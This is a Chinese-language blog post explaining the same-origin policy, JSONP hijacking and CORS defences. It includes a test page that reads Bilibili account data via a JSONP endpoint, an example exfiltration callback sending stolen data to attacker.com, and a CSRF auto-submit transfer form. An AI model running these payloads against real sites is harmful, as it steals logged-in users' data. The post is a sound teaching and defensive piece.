JSONP是为了跨域请求需求而产生的,所以先从浏览器的同源策略开始讲起。
JSONP劫持,属于前端安全相关。

同源策略

设计初衷:
前端浏览器中有两个安全机制,一个浏览器沙盒(Sandbox),另一个就是同源策略(Same Origin Policy,简称SOP) 。
同源策略(Same-Origin Policy)是浏览器的一项核心安全机制,用于限制不同“来源”的网页之间的交互。它的核心目标是 防止恶意网站窃取用户数据或进行未授权的操作,保护用户隐私和网站安全。

同源策略的定义:
两个 URL 的 协议(Protocol)、域名(Domain)、端口(Port) 三者完全相同,才属于“同源”。
只要有一个不同,则视为“跨源”(Cross-Origin)。

总结:同源是指同协议同域名同端口必须三同,缺一不可

下面表格列举了一些例子,为方便读者了解哪些是属于同源:

根据这个策略,a.com域名下的JavaScript无法跨域操作b.com域名下的对象。如下流程图:

比如8080端口内的脚本去请求9090,则会默认被浏览器拦截。
image

为什么需要同源策略?

  • 假设没有同源策略,用户登录了 bank.com,浏览器保存了该网站的 Cookie。

  • 用户访问了恶意网站 evil.com。

  • evil.com 的页面可以随意向 bank.com 发起请求,自动携带用户的 Cookie,窃取账户数据或伪造转账。

同源策略的意义:

  • 隔离不同源的资源:确保网站 A 的代码无法随意访问或操作网站 B 的资源。

  • 保护用户身份凭证:防止跨站请求伪造(CSRF)和敏感数据泄露。

同源策略的限制范围:

  1. 读取跨域数据
    AJAX / Fetch 请求:不能直接读取跨域接口的响应数据(除非服务器明确允许)。
    Cookie / LocalStorage:无法读取其他源的 Cookie 或本地存储。

  2. 操作跨域 DOM
    iframe 嵌套不同源页面:父页面无法通过 JavaScript 访问子页面的 DOM。

  3. 发送跨域请求(部分限制)
    表单提交、图片加载、脚本加载:允许发送跨域请求,但无法读取响应内容。

问题的引入:
不同源也意味着不能跨站请求,因为同源策略不允许跨站请求对方资源,相互要隔离开。这个限制有安全上的考虑。

但是,一些业务就是需要进行跨域操作的,同源策略显然就阻挡了业务需求。
比如现在的互联网公司都发展得大,比如XX公司有好几个独立的应用(APP),不同的三级域,你在登录shopping.XX.com的时候,也会用到play.XX.com域名,其实他们都是同一集团XX.com下面的,他们的Cookie是共用的,让他们多次登录显然不友好。

问题来了,那在这种情景下,怎么做到跨域请求的呢?
解决方法有很多种:

  • JSONP
  • CORS
  • 代理服务器
  • ......

下面来讲解JSONP,以及JSONP劫持。


JSONP原理

JSONP定义:

JSONP(JSON with Padding)是资料格式JSON的一种“使用模式”,可以让网页从别的网域获取资料。
该模式允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。
- -. ,wiki上的定义,还是一如既往的生涩难懂。

JSONP的由来

云里雾里,对于很多刚接触的人来讲理解起来有些困难,着用自己的方式来阐释一下这个问题,看看是否有帮助。

1、一个众所周知的问题,Ajax直接请求普通文件存在跨域无权限访问的问题,甭管你是静态页面、动态网页、web服务、WCF,只要是跨域请求,一律不准。

2、不过我们又发现,Web页面上调用js文件时则不受是否跨域的影响(不仅如此,我们还发现凡是拥有”src”这个属性的标签都拥有跨域的能力,比如<\script>、<\img>、<\iframe>)。

3、于是可以判断,当前阶段如果想通过纯web端(ActiveX控件、服务端代理、属于未来的HTML5之Websocket等方式不算)跨域访问数据就只有一种可能,那就是在远程服务器上设法把数据装进js格式的文件里,供客户端调用和进一步处理。

4、恰巧我们已经知道有一种叫做JSON的纯字符数据格式可以简洁的描述复杂数据,更妙的是JSON还被js原生支持,所以在客户端几乎可以随心所欲的处理这种格式的数据。

5、这样子解决方案就呼之欲出了,web客户端通过与调用脚本一模一样的方式,来调用跨域服务器上动态生成的js格式文件(一般以JSON为后缀),显而易见,服务器之所以要动态生成JSON文件,目的就在于把客户端需要的数据装入进去。

6、客户端在对JSON文件调用成功之后,也就获得了自己所需的数据,剩下的就是按照自己需求进行处理和展现了,这种获取远程数据的方式看起来非常像AJAX,但其实并不一样。

7、为了便于客户端使用数据,逐渐形成了一种非正式传输协议,人们把它称作JSONP,该协议的一个要点就是允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。

真相是,由于大多数程序员喜欢把 jsonp 的回传参数命名为回调函数名,久而久之就默认这种模式叫jsonp。(哭笑不得 - -。)

流程图:
todo

随着跨域技术带来了便利,同样的,粗略的JSONP部署很容易受到跨站请求伪造(CSRF/XSRF)的攻击,带来了安全风险。

JSONP劫持的危害

B站的JSONP跨域请求流程——案例

1.登陆B站之后,进入B站的个人中心页面:https://space.bilibili.com/9996xxx1

2.打开F12调试工具,查看是否有跨站请求,通过查看url 是否有callback=

常见的回传参数命名:

// 可以通过文本搜索,锁定目标
callback=attack 
cb=attack 
call=attack 
jsonp=attack 
jsonpcallback=attack 
jsonpcb=attack 
json=attack 
jsoncallback=attack 
jcb=attack
......

现在所在域名是space.bilibili.com,但是却跨域请求了api.bilibili.com的数据


检测是否存在JSONP劫持 —— 案例

https://api.bilibili.com/x/space/myinfo?jsonp=jsonp&callback=__jp0 ,看到URL的GET参数里面并没有携带token,那么有以下两种方式来测试是否存在JOSONP劫持。

方式一 修改reference

正常重放以下数据包,看到个人信息正常返回。

修改Referer Referer: https://space.abilibili.com/9996xxx1 ,将space.bilibili.com改成space.abilibili.com,发现返回信息没有个人信息,意味着不存在JSONP劫持。

方式二 制作恶意脚步

制作一个playload:

<html>
    <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
    <script type="text/javascript"> 
        function __jp0(result) { 
            console.log(result);
        }
    </script> 
    <script type="text/javascript" src="https://api.bilibili.com/x/space/myinfo?jsonp=jsonp&callback=__jp0"></script>
</html>

或者:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>json 数据获取测试</title>
    <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
</head>

<body>
    <script>function test(data) { alert(JSON.stringify(data)); }</script>
    <script src="http://xxxxxx/csrf/jsonp.php?callback=test"></script>
</body>

</html>

image

  • 自己模仿网站的jsonp请求,设置好一样的回调函数,这里只作输出展示,攻击者可以把信息发送到他的邮件;

  • 诱骗用户点击你的链接,脚本会自动去请求跨站链接,数据会打到回调接口里;

攻击原理:
为什么 JSONP 能获取身份?
Cookie 自动携带:浏览器默认在同域名请求中自动携带 Cookie,跨站 JSONP 请求也遵循此规则(除非 Cookie 设置了 SameSite=Strict)。

服务器依赖 Cookie 验证身份:服务端通过 Cookie 中的 Session ID 识别用户身份,未校验请求来源是否合法(即未防御 CSRF)。


JSONP劫持的攻击流程

好的!我将通过一个完整的模拟案例,逐步展示黑客如何利用 JSONP 漏洞窃取用户的敏感信息。假设有一个银行网站 bank.com 和一个恶意网站 evil.com,以下是攻击的全过程:


场景设定

  1. 银行网站 bank.com
    • 提供 JSONP 接口获取用户余额:
      https://bank.com/api/balance?callback=handleBalance
    • 漏洞:未校验 callback 参数,直接返回数据。
  2. 用户
    • 已登录 bank.com,浏览器保存了登录 Cookie(SessionID=abc123)。
  3. 恶意网站 evil.com
    • 攻击者制作的钓鱼页面,用于诱导用户点击。

攻击步骤分解

步骤 1:用户登录银行网站

  1. 用户访问 https://bank.com,输入账号密码登录。
  2. 银行服务器验证通过后,返回 Cookie:
    Set-Cookie: SessionID=abc123; Path=/; HttpOnly
    
  3. 浏览器保存该 Cookie,后续访问 bank.com 的请求会自动携带此 Cookie。

步骤 2:用户访问恶意网站
攻击者通过钓鱼邮件诱导用户访问 https://evil.com,页面中包含以下代码:

<script>
// 恶意函数:将用户余额发送到攻击者的服务器
function stealData(data) {
  const img = new Image();
  img.src = `https://attacker.com/steal?data=${encodeURIComponent(JSON.stringify(data))}`;
}
</script>

<!-- 发起 JSONP 请求到银行接口 -->
<script src="https://bank.com/api/balance?callback=stealData"></script>

步骤 3:浏览器发起 JSONP 请求

  1. 浏览器加载恶意页面时,发现 <script> 标签请求:
    https://bank.com/api/balance?callback=stealData
  2. 自动携带 Cookie:由于请求目标是 bank.com,浏览器自动附加 Cookie:
    GET /api/balance?callback=stealData HTTP/1.1
    Host: bank.com
    Cookie: SessionID=abc123
    

步骤 4:银行服务器返回数据

  1. 银行服务器收到请求后:
    • 检查 Cookie 中的 SessionID=abc123,确认用户已登录。
    • 未校验 callback 参数,直接拼接数据:
      stealData({ "user": "张三", "balance": "100000" });
      
  2. 响应返回浏览器:
    HTTP/1.1 200 OK
    Content-Type: application/javascript
    
    stealData({"user": "张三", "balance": "100000"});
    

步骤 5:恶意代码执行

  1. 浏览器收到响应后,将其视为 JavaScript 代码执行,调用 stealData 函数:

    stealData({ "user": "张三", "balance": "100000" });
    
  2. stealData 函数将用户数据通过 Image 请求发送到攻击者的服务器:

    GET https://attacker.com/steal?data={"user":"张三","balance":"100000"}
    

步骤 6:攻击者窃取数据

  1. 攻击者的服务器(attacker.com)收到请求,记录窃取的数据:
    {
      "user": "张三",
      "balance": "100000"
    }
    
  2. 攻击者利用这些信息进行诈骗、转账或其他非法操作。

关键漏洞分析

  1. Cookie 自动携带
    用户已登录 bank.com,浏览器自动在 JSONP 请求中附加 Cookie,服务器误认为是合法用户。
  2. 未校验回调函数名
    银行未过滤 callback 参数,允许攻击者指定任意函数名(如 stealData)。
  3. 动态执行远程代码
    JSONP 的本质是让浏览器执行服务器返回的代码,攻击者通过控制回调函数名注入恶意逻辑。

总结

  • JSONP 攻击的危害:通过控制回调函数名,诱导服务器返回恶意代码,窃取用户敏感数据。
  • 攻击条件:用户已登录目标网站 + 目标网站的 JSONP 接口存在漏洞。
  • 防御核心:服务端校验输入 + 弃用 JSONP + 加固 Cookie 安全。

JSONP劫持与CSRF的比较

利用上相同:

  • 需要用户点击恶意链接;
  • 用户必须登陆该站点,在本地存储了Cookie;

两个不同:

  • 必须找到跨站请求资源的回调接口来实施攻击;
  • CSRF只管发送http请求;

JSONP劫持的防御方案

JSONP劫持属于CSRF( Cross-site request forgery 跨站请求伪造)的攻击范畴,所以解决的方法和解决CSRF的方法一样。

  • 验证 HTTP Referer 头信息;
  • 在请求中添加Token,并在后端进行验证;

更详细的防御措施

1. 服务端严格校验回调函数名
防止攻击者可以注入恶意函数名,

// 银行服务器代码示例
const callback = req.query.callback;

// 只允许字母、数字、下划线和美元符号
if (!/^[\w$]+$/.test(callback)) {
  res.status(400).send("Invalid callback name");
  return;
}

2. 弃用 JSONP,改用 CORS

# 银行服务器设置 CORS 头部
Access-Control-Allow-Origin: https://trusted-website.com
Access-Control-Allow-Credentials: true

3. 设置 Cookie 的 SameSite 属性

Set-Cookie: SessionID=abc123; SameSite=Strict; Secure; HttpOnly

最终极的做法:弃用 JSONP,改用 CORS + CSRF Token,严格管理跨域权限。

下面接着看看CORS是什么?


CORS(跨域资源共享)

CORS(跨域资源共享)通过 服务器显式声明允许的跨域规则 来安全地控制跨域访问,防止恶意网站未经授权获取数据。以下是 CORS 防止跨站攻击的核心机制和详细流程:


一、CORS 防御跨站攻击的核心原理

  1. 主动权在服务端
    CORS 要求服务器通过 HTTP 头部明确声明允许哪些来源、方法和请求头,浏览器强制执行这些规则

    • 对比 JSONP:JSONP 的权限完全由客户端控制(攻击者可构造恶意请求),而 CORS 由服务端决定谁可以访问。
  2. 不依赖执行远程代码
    CORS 通过标准 HTTP 头部交换信息,不会像 JSONP 那样动态执行远程代码,避免了代码注入风险。


二、CORS 防御攻击的具体机制

1. 预检请求(Preflight Request)

对于可能携带敏感数据的复杂请求(如 PUTDELETE 或自定义头),浏览器会先发送一个 OPTIONS 请求,确认服务器是否允许实际请求。

攻击防御场景
假设恶意网站 evil.com 尝试向 bank.com 发送 DELETE /user 请求:

  1. 浏览器发送预检请求

    OPTIONS /user HTTP/1.1
    Origin: https://evil.com
    Access-Control-Request-Method: DELETE
    Access-Control-Request-Headers: X-Malicious-Header
    
  2. 服务器响应

    HTTP/1.1 200 OK
    Access-Control-Allow-Origin: https://trusted.com  # 只允许 trusted.com
    Access-Control-Allow-Methods: GET, POST          # 不允许 DELETE
    Access-Control-Allow-Headers: Content-Type       # 拒绝 X-Malicious-Header
    
  3. 浏览器拦截请求
    由于 evil.com 不在允许的源列表中,且 DELETE 方法未被允许,浏览器阻止实际请求发送


2. 简单请求的源校验

对于简单请求(如 GETPOST),浏览器直接发送请求,但会检查服务器的 Access-Control-Allow-Origin 响应头。

攻击防御场景
恶意网站 evil.com 尝试读取 bank.com 的用户数据:

  1. 浏览器发送请求

    GET /userinfo HTTP/1.1
    Origin: https://evil.com
    
  2. 服务器响应

    HTTP/1.1 200 OK
    Access-Control-Allow-Origin: https://trusted.com  # 未允许 evil.com
    
  3. 浏览器拦截响应
    发现 Access-Control-Allow-Origin 不包含 evil.com前端代码无法读取响应数据


3. 禁止携带身份凭证(默认)

默认情况下,CORS 请求不会携带 Cookie 或 HTTP 认证头,除非显式启用 credentials 选项且服务器允许。

攻击防御场景
即使恶意网站诱导用户发送 CORS 请求:

fetch('https://bank.com/userinfo', { 
  credentials: 'include'  // 强制携带 Cookie
})
  • 服务器需明确允许
    Access-Control-Allow-Origin: https://evil.com  # 必须明确指定域名,不能为 *
    Access-Control-Allow-Credentials: true
    
  • 若服务器未允许,浏览器会拒绝请求。

三、CORS 防御 vs. JSONP 攻击

安全机制 CORS JSONP
代码执行风险 无(纯数据交换,不执行远程代码) 有(需执行服务器返回的 JS 代码)
权限控制 服务端通过 HTTP 头部精细控制 无控制(依赖回调函数名过滤)
身份凭证管理 默认不携带 Cookie,需显式启用并服务端同意 自动携带 Cookie,易被利用
复杂请求防护 预检请求拦截未授权的复杂操作 仅支持 GET,无法防御简单请求的 CSRF

四、CORS 的配置示例(服务端)

以 Node.js 为例,配置安全的 CORS 规则:

const express = require('express');
const app = express();

// 安全配置 CORS
app.use((req, res, next) => {
  const allowedOrigins = ['https://trusted.com']; // 白名单
  const origin = req.headers.origin;

  if (allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
    res.setHeader('Access-Control-Allow-Credentials', 'true'); // 谨慎开启
  }

  // 预检请求直接响应
  if (req.method === 'OPTIONS') {
    res.status(200).end();
    return;
  }

  next();
});

app.get('/userinfo', (req, res) => {
  res.json({ name: '张三' });
});

app.listen(3000);

五、CORS 的局限性

  1. 不防御 CSRF 攻击
    CORS 仅控制跨域数据读取,不阻止跨域请求的发送(如表单提交)。需配合 CSRF Token 防御。

    <!-- evil.com 页面 -->
    <form action="https://bank.com/transfer" method="POST">
      <input type="hidden" name="to" value="attacker">
      <input type="hidden" name="amount" value="1000">
    </form>
    <script>document.forms[0].submit();</script>
    
  2. 错误配置导致漏洞
    若服务器配置 Access-Control-Allow-Origin: * 或过于宽松的白名单,仍可能泄露数据。


六、总结

  • CORS 的核心安全机制:服务端声明允许的跨域规则,浏览器强制执行。
  • 防御效果
    • 阻止未授权的跨域数据读取。
    • 避免执行恶意远程代码(对比 JSONP)。
    • 精细控制请求方法和头部,减少攻击面。
  • 最佳实践
    • 严格限制 Access-Control-Allow-Origin 为可信域名。
    • 启用预检请求拦截复杂操作。
    • 避免滥用 Access-Control-Allow-Credentials

Rerference

jsonp原理详解——终于搞清楚jsonp是啥了
https://www.cnblogs.com/lovecode3000/p/12249047.html

jQuery jsonp跨域请求
https://www.cnblogs.com/chiangchou/p/jsonp.html

posted on 2020-04-02 22:08  Mysticbinary  阅读(1302)  评论(0)    收藏  举报